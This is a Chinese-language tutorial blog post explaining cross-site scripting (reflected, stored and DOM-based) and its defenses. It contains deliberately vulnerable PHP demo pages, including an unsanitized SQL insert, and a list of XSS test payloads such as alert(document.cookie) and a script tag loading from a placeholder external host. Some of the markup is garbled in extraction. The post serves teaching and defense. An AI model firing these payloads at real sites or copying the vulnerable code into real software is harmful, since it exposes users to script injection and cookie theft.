XSS跨站脚本攻击

文章目录

  • 同源策略
  • 什么是XSS
  • 反射型XSS
  • 存储型XSS
  • DOM型XSS
  • XSS的防御


同源策略

当我们使用浏览器浏览多个网页的时候,浏览器怎样才能判断我们浏览的是同一网页?

SOP(Same Origin Policy)同源策略,是一种约定也是浏览器最核心的基本安全功能。浏览器的同源策略,限制了来自不同源的文本或脚本对当前文本或脚本的读取或修改某些属性,同源策略主要检查源中的:

  • Protocol

  • Host

  • Port

只有当两个不同起源的协议、主机、端口都相同时,浏览器才会认为这是同一个网站,即允许同源的读写操作

什么是XSS

XSS(Cross Site Scripting)跨站脚本攻击,因为和层叠样式CSS(Cascading Style Sheets)容易混淆,所以被叫做XSS,据说名字是微软起的

XSS在OWASP Top 10常年位居前列,可见其攻击危害和广泛程度。XSS是一种发生在web前端中的计算机安全漏洞,主要攻击对象也是网站的各种用户,攻击者通过在网页中嵌入精心构造的客户端恶意Script代码,当用户浏览到嵌入了恶意Script代码的网页,浏览器就会自动加载并执行嵌入的恶意Script代码已达到攻击者的目的

可能有人会问,浏览器为什么会加载并执行插入的恶意Script代码?

因为需要渲染的HTML代码和我们发送出去的HTML代码之间的区别浏览器根本无法得知,浏览器将整个响应数据看作HTML(这是由Content-type:text/html决定的)进一步处理之后渲染输出到页面上,所以浏览器就接受了所有东西作为HTML代码,然后执行了它,也就是说会依次执行到我们提交的恶意Script代码造成XSS

这些恶意Script脚本通常是由Javascript编写,也有使用ActionscriptVBscript等其他客户端脚本语言编写的,但是很少见,我也没接触过除了JavaScript的其他XSS脚本

XSS的危害有多厉害,就要看构造的恶意JavaScript代码能做到什么效果,JavaScript能做到什么样的效果,XSS就能达到多大的危害,XSS可以:

  • 窃取用户的Cookie
  • 钓鱼攻击
  • 前端js挖矿
  • 网页挂马
  • 网站重定向
  • 传播XSS蠕虫
  • 结合其他漏洞进一步攻击,如CSRF
  • 等等…

注:Javascript加载外部的代码文件可以是任意扩展名甚至无须扩展名,只要内容是JavaScript就会被执行

XSS攻击主要被分为三种类型,分别是:反射型存储型DOM型

反射型XSS

反射型XSS也被称为非持久型XSS,一般需要用户自己去点击链接或发送请求的时候,服务器端接收数据处理后,然后把带有恶意Script代码的数据发送到浏览器,浏览器解析了这段带有恶意Script代码的数据,最终造成XSS漏洞,因为过程类似一次反射,所以称为反射型XSS

举个栗子:

<!DOCTYPE html>
<html>
<head>
	<title>XSS Testing</title>
</head>
<body>
	<div style="text-align:center;">
	<form method="GET" action="" align="center">
	 
	if (isset($_GET['submit'])) {
		$name = $_GET['name'];
		echo "

Welcome ".$name."

"
; }else{ echo "

Welcome!

"
; } ?> <input type="text" name="name" placeholder="Please input your name"><input type="submit" name="submit" value="sbumit"> </form> </div> </body> </html>

程序会将提交的数据,通过GET传参到当前页面,然后回显到页面上
XSS跨站脚本攻击_第1张图片
那么就可以给name=参数提交恶意script代码
XSS跨站脚本攻击_第2张图片
测试payload

<h1>xssh1>

<script>alert('xss')script>
<script>alert(/xss/)script>
<script>alert(777)script>
<script>alert(document.cookie)script>
<script src=http://xxx.com/xss.js>script>

<svg onload="alert(1)">

<img  src=1  οnerrοr=alert(document.cookie)>

<body οnlοad=alert(1)>
<body οnpageshοw=alert(1)>

<video οnlοadstart=alert(1) src="/media/hack-the-planet.mp4" />

<style οnlοad=alert(1)>style>

可以看到,反射型XSS是需要构造恶意Script代码然后去触发的,这种漏洞一般比较常见存在于:

  • 搜索框
  • 表单
  • URL参数

XSS可能发生的场景:

  1. 在标签内输出
<div>${xss}div>
<a href="http://www.xsser.com">${xss}a>
<h1>${xss}h1>
<p>${xss}p>
<ul>${xss}ul>
.......
在标签内输出就无需构造标签,直接控制${xss}变量即可造成xss
<div><script>alert(/xss/)<script>div>
  1. 在属性内输出
<div class="${xss}">div>
<input type="text" name="username" value="${xss}"/>
<a href="${xss}">Hello<a/>
.......
在属性内输出数据,只需要闭合标签即可造成xss
<input type="text" name="username" value="" onclick="alert(/xss/)" />
<input type="text" name="username" value=""> <script>alert(/xss/)script>" />
<a href="javascript:alert(/xss/)">Hello<a/> //伪协议
  1. 在事件中输出
<img src="a.jpg" onerror="${xss}">
<input type=“text” name="username" value="test" onclick="fun('${xss}')" />
.........
<input type="text" value="test" onclick="fun('')" onkeyup="alert(/xss/);//')" />

  1. 在CSS中输出
<style type="text/css">
	body {background-image: url(${xss});}
	body {background-image: expression(${xss});}
sytle>
........
body {background-image: url("javascript:alert(/xss/)");}
body {background-image: expression(alert(/xss/));}
  1. 在Script标签中输出
<script>
	var username="${username}";
script>
.......
var username="1";alert(/xss/);//"

注:只要是用户输入的数据,被拼接进了HTML中或在页面有回显的,都可以尝试绕过或闭合标签,进行XSS攻击

存储型XSS

存储型XSS也被称为持久性XSS,是最危险的一种XSS,具有很强的隐蔽性和危害性

存储型XSS和反射型XSS很相似,但是输入并不会直接返回,但是会被持久化(输入的内容存储在数据库或服务器的其他什么地方),然后通过对它存储的数据读取展示给用户,很明显存储型XSS的危害更大,因为恶意代码被存储在数据库或服务器的其他什么地方有一个持久的影响,攻击者输入的代码会注入到没一个浏览改网页的用户中,比如评论区,攻击者输入的恶意评论会被存储在数据库中,然后无论谁看到了这条评论,就会被自动注入恶意代码,无需用户手动触发

举个栗子:

<!DOCTYPE html>
<html>
<head>
	<title>XSS Testing</title>
</head>
<body>
	<div style="text-align:center;">
	<form method="POST" action="">
	
	$con = mysqli_connect("127.0.0.1","root","root");
		if(!$con){
			die("Could not connect!".mysql_error());
		}
		mysqli_query($con,"create database xss_test_db");
		mysqli_query($con,"use xss_test_db");

	if (isset($_POST['submit'])) {
		$name = $_POST['name'];
		if(empty($name)){
			echo "

Can not be empty!

"
; }else{ mysqli_query($con,"insert into user value(0,'$name')"); echo "

Register Success!

"
; } }else{ echo "

Welcome!

"
; } ?> <input type="text" name="name" style="height:30px;width:250px;" placeholder="Please input your name"><input type="submit" name="submit" style="height:36px;color:#7d7d7d;" value="sbumit"> </form> <br><br> <table style="text-align:center;" border="1" align="center"> echo "uidname"; mysqli_query($con,"create table user(uid int(11) primary key auto_increment not null,name varchar(255) not null)"); $sql_data = mysqli_query($con,"select * from user"); $sql_data_row = mysqli_num_rows($sql_data); for ($i=0; $i < $sql_data_row; $i++) { $sql_array = mysqli_fetch_assoc($sql_data); $sql_uid = $sql_array['uid']; $sql_name = $sql_array['name']; echo "$sql_uid$sql_name"; } ?> </table> </div> </body> </html>

从上面的代码中可以看到,我们输入的内容存进了数据库,并且数据库的数据会查询出来显示到页面上,很典型的存储型XSS
XSS跨站脚本攻击_第3张图片
输入
XSS跨站脚本攻击_第4张图片
可以看到,恶意js代码已经插入数据库,并长久存在,只要用户浏览到这个页面就会自动触发XSS
XSS跨站脚本攻击_第5张图片
攻击手法其实和反射型XSS一样,持久型XSS一般出现在网站的留言、评论。博客日志等交互处,恶意脚本被数据库或服务器其他地方,当其他用户浏览该网页时,站点即从数据库中读取恶意用户存入的非法数据,然后显示在页面中,即在受害者主机上的浏览器执行恶意代码

DOM型XSS

DOM全称为Document Object Model,即文档对象模型,DOM通常用于代表在HTML、XHTML、XML中的对象。使用DOM可以允许程序和脚本动态地访问和更新文档的内容、结构和样式

DOM型XSS代码不需要服务器解释响应的直接参与,触发XSS只需要浏览器的DOM解析,这是一种用户的输入就是存在于危险的JavaScript代码中的一部分,完全发生于客户端

DOM规定:

  • 整个文档是一个文档节点
  • 每个HTML标签是一个元素节点
  • 包含在HTML元素中的文本是文本节点
  • 每一个HTML属性是一个属性节点
  • 节点与节点之间都有等级关系
    XSS跨站脚本攻击_第6张图片
<script type="text/javascript">
	var temp = document.URL;
	var index = document.URL.indexOf("content=");
	var par = temp.substring(index);
	document.write(decodeURI(par));
</script>

XSS跨站脚本攻击_第7张图片
常见输入点:

  • document.URL
  • document.URLUnencoded
  • document.location
  • document.referrer
  • window.location
  • window.name
  • document.cookie
  • 表单的值

常见输出点:

  • 常见输出HTMl内容:
    document.write(...)
    document.body.innerHtml= ...
  • 修改DOM树:
    document.create(...)
    document.forms[0].action=...
    document.body. ...
    window.attachEvent(...)
  • 替换document URL:
    document.location= ...
    document.location.hostname= ...
    document.location.replace(...)
    document.URL= ...
    window.navigate(...)
  • 打开或修改新窗口:
    document.open(...)
    window.open(...)
    window.location.href= ...
  • 执行脚本
    eval(...)
    window.execScript(...)
    window.setInterval(...)
    window.setTimeout(...)

XSS的防御

XSS漏洞的最终形成的原因是对输入与输出没有严格的过滤,在页面执行javasctipt等客户端脚本,这就意味着只要将敏感字符过滤,即可修补XSS跨站漏洞

  1. html标签实体编码过滤
    在HTML中,<>"'&等字符都对HTML的正常结构有影响,如果对输入和输出这个几个字符没有进行严格过滤,极有可能破坏整个HTM文档结构。所示需要对这些特殊字符进行HTML实体编码转义
    PHP中提供了htmlspecialchars()htmlentitles()函数可以把一些预定义的字符转换为HTML实体
    或者使用目前网上的开源的XSS Filter,这些 XSS Filter 目前来说还是有些效果的,能检验输入内容,高级一点的还会匹配 XSS 特征
特殊字符 HTML实体编码
< <
> >
& &
" "
'
/ /
  1. Javascript编码
    javascript编码与html实体编码不同,这条原则主要针对动态生成的javascript代码,这包括脚本部分以及HTML标签的事件处理属性(如onerror,onload等)。在往javascript代码中插入数据的时候,只有一种情况是安全的,那就是对不可信数据进行JavaScript编码,并且只把这些数据放到使用引号包围起来的值部分之中,除了数字,字符之外的所有字符,小于127的字符编码都使用十六进制的方式进行编码,大于用Unicode
    \ 转成 \\
    / 转成 \/
    ; 转成 ;(全角;)

  2. Http Only
    许多 XSS 攻击的目的就是为了获取用户的cookie,将重要的 cookie 标记为http only,这样的话当浏览器向服务端发起请求时就会带上cookie字段,但是在脚本中却不能访问 cookie,这样就避免了XSS攻击利用JavaScript的document.cookie获取cookie。
    严格的来说,http only对防御XSS漏洞不起作用,这样做的的目的主要是解决XSS漏洞造成的Cookie劫持攻击

你可能感兴趣的:(Web,Security)